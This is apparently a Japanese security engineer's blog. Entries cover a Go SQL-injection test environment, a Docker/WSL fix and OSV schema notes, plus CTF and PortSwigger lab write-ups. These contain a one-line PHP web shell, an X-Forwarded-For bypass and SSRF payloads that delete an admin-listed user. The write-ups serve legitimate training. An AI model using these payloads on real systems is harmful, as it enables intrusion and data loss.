ペネトレーションしのべくん

さようなら、すべてのセキュリティエンジニア

Go言語でMySQLのSQLインジェクション検証環境を作った

SQLインジェクションの検証環境が欲しくて、ついでにGo言語とGoのWebアプリケーションフレームワークEchoも触っておくかということで↓を作りました。ぜんぜん大したものじゃないんですが、日記として。

github.com

今はシンプルにJSONを返すだけですが、Reactでも学んでフロントもちゃんと作ろうかなと思います。Echoの機能も初歩の初歩しかやってないので、がんばります。

Echoを使うにあたっては、ISUCON12予選のコードを参考にしました。

github.com

以下、Go言語ではじめて何か作ったメモとか感想:

  • Go言語のパッケージやモジュールの概念について
    • とりあえず最初に go mod init github.com/shinobe179/repo_name する
    • 以降は、パッケージが必要になったら go get すれば勝手に足されていく
    • 今開発しているものをimportする場合、基本的にはGitHubにアップロードしてgo getしなければならないの?
      • そんなわけないよな
    • go mod tidyって使わなかったけどいいんだろうか
    • パッケージってどういう風に分けるのがいいんだろう?
    • ディレクトリってどういう風に分けるのがいいんだろう?

あとずっとPythonしか書いてこなかったので、型との付き合い方みたいなものに慣れていないと感じました。やることはあんまり変わらない(使いたい関数の引数と戻り値、そしてそれぞれの型を確認して使う)はずなんですが。

Docker Desktop for Windowsが「WSL_E_DISTRO_NOT_FOUND」というエラーを出していつまでも起動しない

はじめに

Docker Desktop for Windowsが動かなくて嫌な思いをしたのでメモです。

結論

ログファイルを見たら、 WSL_E_DISTRO_NOT_FOUND というエラーが出ていた。ググったら以下の記事が出ていて、これの内容に従った。

github.com

こうなってたところを、

PS C:\WINDOWS\system32> wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  docker-desktop-data    Stopped         2
  docker-desktop         Uninstalling    2
PS C:\WINDOWS\system32>

こうして、

PS C:\WINDOWS\system32> wsl --unregister docker-desktop
登録解除。
この操作を正しく終了しました。
PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32>
PS C:\WINDOWS\system32> wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  docker-desktop-data    Stopped         2
PS C:\WINDOWS\system32>

Docker Desktop for Windowsを再起動したら直りました。

PS C:\WINDOWS\system32> wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-22.04           Running         2
  docker-desktop         Running         2
  docker-desktop-data    Running         2
PS C:\WINDOWS\system32>

なんだったん?マジで。

OSVについて調べてみた

はじめに

Googleがosv-scannerというリポジトリを公開しています。どうやら脆弱性スキャナのようです。

github.com

これを使ってみる前に、OSVとかSBOMとか、知らなかった概念について先に掘り下げて置こうと思います。この記事ではOSVについて見ていきます。

OSV

トップページ曰く「A distributed vulnerability database for Open Source」とのこと。

osv.dev

Aboutでは、OSVは以下のものから構成されると説明しています。

  • OSV Schemaという脆弱性を記述するためのデータフォーマット
  • OSV Schemaで記述された脆弱性情報を集約、参照するためのインフラストラクチャー
    • サイトそのもの
    • API
    • ツール(osv-scannerもここに含まれる?)

OSV Schema

OSV Schemaがどんな感じか見てみることにします。

ossf.github.io

Aboutによると、OSV Schema策定にあたっての課題意識のひとつとして、各エコシステムでのパッケージの命名およびバージョニングとCPEを照合するのって難しいよね、というのがあるようです。

Enforces version specification that precisely matches naming and versioning schemes used in actual open source package ecosystems. For instance, matching a vulnerability such as a CVE to a package name and set of versions in a package manager is difficult to do in an automated way using existing mechanisms such as CPEs.

CPEという仕組み自体が結構きついよね、という話を以前フォロワーさんとした記憶があって、掘り返してみたらやっぱり嘆いてました。もっとも、今見返すと無意識的にプロプライエタリな製品について言及していたと思うので、このOSVのスコープ外ですかね。なんてったって「Open Source Vulnerabilities」だし。

OSV Schemaは、以下のような情報を含んでいます。

  • 脆弱性情報の公開日や更新日
  • 要約と詳細
  • 影響を受けるパッケージ
  • 参考URL
  • 重大度

severity

重大度を示す severity[]type というフィールドを持ち、これは執筆時点で CVSS_V2 もしくは CVSS_V3 の値をとることが想定されています。

ossf.github.io

そのうちEPSSとかも入ってくるんですかね?

www.first.org

また、このスキーマはありものの脆弱性情報の効率的な記述方法を提案するものであって、CVSSにとって代わるような新たな脆弱性評価手法を提案するものではないことが分かります。

affected

各パッケージへの影響範囲を示す affected[] は、以下の情報から構成されます。

  • package
  • ranges
  • versions
  • ecosystem_specific
  • database_specific

package

脆弱性の影響を受けるパッケージに関する情報です。以下の値を持ちます。

  • ecosystem: エコシステム名。 Go とか npm とか。
  • name: パッケージ名。
  • purl: purl-specという標準に則った、パッケージのURI。オプション。

purl-specというのは初耳でした。これもエコシステムによってパッケージの命名規則を統一することで参照しやすくしようというのがねらいのようです。

github.com

ranges

以下の値を持ちます。

  • type: indtoduced および fixed で使うバージョンの表現方法。
    • SEMVER: SemVer 2.0.0 に則ったバージョン表記。
    • ECOSYSTEM: 各エコシステムに則ったバージョン表記。
    • GIT: Gitのコミットハッシュ。
  • repo: パッケージのコードリポジトリのURL。affected[].ranges[].typeGIT の時は必須。
  • events[]: 脆弱性の各イベント(発生、修正など)に関する情報。
    • introduced: 脆弱性が発生したバージョン。
    • fixed: 脆弱性が修正されたバージョン。
    • limit: 上限。ってなんだ……??

versions

脆弱性があるパッケージバージョンのリストです。 affected[].ranges と役割が重複している感じがしますが、脆弱性があるバージョンを列挙してあるとぱっと見分かりやすいよねぐらいのフィールドなんだと勝手に解釈しています。

例えば、Log4Shellに該当するJSONファイルを見てみると、 affected.version がありません。

github.com

しかしosv.devで同じ脆弱性のページを見てみると、(JSONaffected.version はないのに)Affected versionsとして値がマッピングされていることが分かります。

osv.dev

後述する参考実装でも、rangesとversionsの両方を評価する実装になっているので、やはり意味合い的に重複するものみたいです。

affected[] による脆弱性評価

OSVで記述された脆弱性情報を用いて脆弱性評価をするコードの参考実装が紹介されていました。メインルーチンである IsVulnerable() だけ読んでみると、以下のようなロジックになっています。

  • 検査対象であるパッケージが affected.package と同一だったら次のチェックをする
    • 検査対象バージョンが affected.versions に含まれているか、affected.ranges に含まれていたら脆弱性あり
  • いずれにも該当しなければ脆弱性なし
func IsVulnerable(pkg, v, osv)
  for affected in osv.affected
    if affected.package == pkg
      if IncludedInVersions(v, affected.versions) ||
           IncludedInRanges(v, affected.ranges)
        return true

  return false

疑問点

参考実装では pkgosv.affected[].package を直接比較していますが、 これを成立させるために pkg をOSV形式に直すのって実は地道な努力が必要だったりしないか?と思うなどしました。それこそosv-scannerのソースを読めば解決しそうですが、それはまた次のお話ということで。

GCPの監査ツール「Forseti Security」を追う(第1回「挫折」)

先日、TrivyでAWSのセキュリティチェックができるようになりましたね(参考:クラスメソッドさんのブログ)。

dev.classmethod.jp

GCPGoogle Cloudと呼ぶ人もいるらしい)も近日対応予定!って感じみたいですが、直近さくっとチェックしたいニーズがあったので調べたところ、まずSpotifyが開発していたらしい、gcp-auditというリポジトリに辿り着きました。しかし、すでに開発が止まっている模様。

github.com

gcp-auditのREADMEから、Forseti Securityというツールに行き着きました。

forsetisecurity.org

Aboutをざっと読んだ感じ、GCPに特化したCloud Custodianという印象です。Inventoryを収集し、ScannerによってIAMやBacket ACLなどを監査、Enforcerで設定を強制し、Explaoinで可視化する。うーん、Trivyのセキュリティチェックとは、ちょっと毛色が違いそうです。

何はともあれ触ってみようということで、以下に取り組んでみます。

forsetisecurity.org

OPEN IN GOOGLE CLOUD SHELLをクリックすると、何やらチュートリアルっぽいものが始まりました。 GCPは進んでますね。

ちょっと進んだところでOrganization IDというものを要求されたのですが、なんじゃそれとなって断念。きっとAWSのArganizationと同じようなものだと思うんですが、私の体力とGCP力が足りず。また気が向いたらリベンジします。

Web Security Academy「Remote code execution via web shell upload」解いてみた

はじめに

Web Security Academyの「Remote code execution via web shell upload」解いてみました。

portswigger.net

難易度的に簡単なものが続いているのはご容赦ください。。 あと、ウェブシェルって色々あると思うんですが、使いやすいもの、多機能なもの、見た目がいい(かわいい)ものなど、おすすめがあったら教えてください。

Writeup

前提情報

  • ファイルアップロード機能に脆弱性あり(アップロードしたファイルを検証しない)

Walkthrough

以下のような簡単なウェブシェルを用意しておく。

<?php echo system($_GET["cmd"]) ?>

マイページのアップロード機能で、ウェブシェルをアップロードする。 本来アバターの画像をアップロードするための機能なので、アバター画像を別タブで開くとウェブシェルが開く。

あとは cat /carlos/secret すればいい……はずが、なぜか同名ファイルが存在しているみたいで、同じ内容が二度表示される点に注意。

taskctf2022 Writeup

はじめに

task4233さんが開催したtaskctf2022に参加していました。 問題数、難易度、期間全てが絶妙で楽しかったです。チュートリアルを置くお人柄も素敵です。ありがとうございました。そしてお誕生日おめでとうございました。:tada:

私はと言いますと、3問残し、ヒント2つ見て25位でした。ヒントを見た問題はfirstとanti_detectionで、どっちも解けませんでした*1

以下、解けた問題だけWriteup書いていきます(Tutorial除く)。解けなかった問題は、他の方や公式Writeupを読んで精進します。

osint

welcome

「taskctf 2019 writeup」とググって出しました。

ramen

Googleレンズで検索したら店名が出てきました。

kofun

まず画像を見て思ったことは以下のとおりです。

  • 古墳の周りはなんか森っぽい
  • 入口の上に木が生えてたっぽい

とりあえず、from:task4233 古墳 という条件でツイート検索をしました。 問題の画像に加えて、埴輪がこっち?を見てるシュールな画像が添付されていました。

お友達と一緒に行ったとのことなので、お友達がヒントになるようなツイートをしてるかもと思って、このツイート前後に古墳についてつぶやいているツイートを検索しました。結果、狙ったものはヒットしなかったものの、たまたま埴輪の画像と同じ場所っぽい画像を添付しているツイートが見つかりました。このあたりが龍角寺古墳群であることが分かりました。

ただ、「龍角寺n号墳」という感じですごくたくさんあるようです。Googleマップでしらみ潰しに見ようにも、きりがありません。

「千葉 古墳」などでGoogle検索していたら、有志の方が公開している、県毎に古墳をリストアップしたGoogleマイマップに辿り着きました。

www.google.com

千葉県の古墳リストを上から見ていると、どうやら「龍角寺111号墳」が森の中にあるっぽいです。問題の入口の周囲の雰囲気と近い気がして、「龍角寺111号墳」でGoogle検索すると、以下の画像が見つかりました。木の位置が問題の画像とドンピシャです。

www.google.com

このサイトから古墳名を確認してflag投げました。インターネットに感謝。

douro

画像を見て思ったこと。

  • 右側通行っぽいのでたぶんアメリ
  • ヤシの木みたいなのが生えてる。マイアミ?(偏見)
  • 信号が特徴的な気がする
  • ぜったい無理やん

最初マイアミを見てたんですが、どうも信号の感じが違います。

早々と方針を切り替えて「アメリカ 十字路」で画像検索していたら、かなり似てる信号が写っている画像が見つかりました。

www.google.com

この記事からはここがどこなのか分からなかったので、更に画像検索すると以下の記事にたどり着きました。Google検索でざっくり読んだ感じ、道の舗装か何かを頑張ったんですかね?とにかく、この似た感じの道路はIrvine Center Driveみたいです。

www.oe-eng.com

GoogleマップIrvine Center Driveにある十字路をひたすら見ていって、ここに辿り着きました。インターネットに感謝。

www.google.com

全ての問題に言えることですが、実際Writeupで書いているほどスムーズには進んでいないです。特にこの問題に関しては、from:task4233 旅行 とか from:task4233 留学from:task4233 渡航from:task4233 パスポートfrom:task4233 海外 などなど、task4233さんのそれっぽいツイートを延々探す時間があり、我ながらだいぶキモかったです*2

web

robots

TryHackMeか何かでrobots.txtに一杯食わされてからというもの、Web問は最初にrobots.txtを見るようにしていて。今回は問題名もそのものズバリだったので、確認すると/admin/flagというパスがあることが分かりました。

アクセスすると、internalからでないとアクセスできない様子。Burp Suiteを使って X-Forwarded-Forヘッダーを追加し、ローカルIPアドレス帯を一通り試した後127.0.0.1でflagが見られました。

misc

ransomware

暗号化スクリプトと、暗号化されたflagが提供されています。 暗号化のアルゴリズムは、C2サーバーから取得したkey(int)と、各文字のXORをとっているようです。 C2サーバーはすでに公開されておらず、以下がポイントっぽいと思いました。

  • 復号はどうやるのか?
  • keyは何だったのか?

まず復号については、XORは2回演算したら元に戻るみたいです。

keyについては、とりあえずパワー回答しようと思って、以下のスクリプトを書きました。

key = 0
data = None

while True:
    with open('taskctf_flag.txt.encrypted', 'r') as f:
        data = f.read()        
        plain = ""
        for ch in data:
            plain += chr(ord(ch) ^ key)
        if 'taskctf' in plain:
            print(f'key: {key}, flag: {plain}')
        else:
            key += 1
            data = None

これを動かして、無事復号できました。

key: 17772, flag: taskctf{x0r_1s_e4sy_70_1mplemen7}

*1:firstは残り2分ぐらいでエクスプロイトが通ったんだけど、100番目のユーザーを見つけてflagを登録するのが間に合わなかったの……本当なの……。

*2:今ですら、ポートフォリオを拝見してそっちで検索するのもありだったと思っている始末。

Web Security Academy「Basic SSRF against the local server」解いてみた

はじめに

PortSwigger Web Security Academyの「Basic SSRF against the local server」を解きました。

portswigger.net

Writeup

事前情報

  • 在庫確認機能は、内部システムにデータをフェッチする

Walkthrough

商品ページを見て、 在庫チェック機能のリクエストをプロキシして見てみると、POSTパラメータとしてフェッチ先のURLを指定している。

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1

リクエストをRepeaterに送って、http://localhost/admin にしてみると、管理画面のHTMLが閲覧できる。

<section>
    <h1>Users</h1>
    <div>
        <span>carlos - </span>
        <a href="/admin/delete?username=carlos">Delete</a>
    </div>
    <div>
        <span>wiener - </span>
        <a href="/admin/delete?username=wiener">Delete</a>
    </div>
</section>

http://loaclhost/admin/delete?username=carlos にリクエストを送ったらcarlosを消せる。

stockApi=http%3a%2f%2flocalhost%2fadmin%2fdelete%3fusername%3dcarlos

Inspector(Repeater画面の右側に出てくるペイン)を使うと、エンコードなどを自動でやってくれるので便利。Decodedfromのほうを編集する。